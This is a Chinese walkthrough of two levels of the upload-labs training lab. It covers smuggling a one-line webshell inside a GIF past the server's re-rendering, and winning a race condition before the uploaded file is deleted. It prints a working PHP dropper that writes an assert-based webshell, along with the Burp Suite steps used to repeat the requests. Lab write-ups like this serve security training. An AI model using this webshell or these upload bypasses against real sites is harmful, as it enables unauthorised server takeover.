第十六关
直接上传php文件判断限制方式:
同第十五关白名单限制
第十六关源码:
代码逻辑判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染
二次渲染图片马:upload-labs之pass 16详细分析 - 先知社区
绕过思路:
1、把经过二次渲染的图片进行捆绑webshell图片马,文件上传时候 文件名为.gif后缀、文件类型content-type:image/gif、文件头GIF89a
推荐使用gif格式,十六进制编辑图片文件找到二次渲染未修改的图片区域插入一句话木马
第十七关
直接上传php文件判断限制方式:
第十七关源码:
代码逻辑:
- 这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell
绕过思路:
1、条件竞争绕过上传webshell
上传一个fputs写入shell文件功能的webshell,通过python或者burpsuite访问该文件
f.php文件内容
<?php fputs(fopen('shell.php','w'),'<?php @assert($_POST[c]);?>'); ?>
burpsuite抓包:通过爆破形式不断的进行文件上传
burpsuite抓包:通过爆破形式不断的访问该文件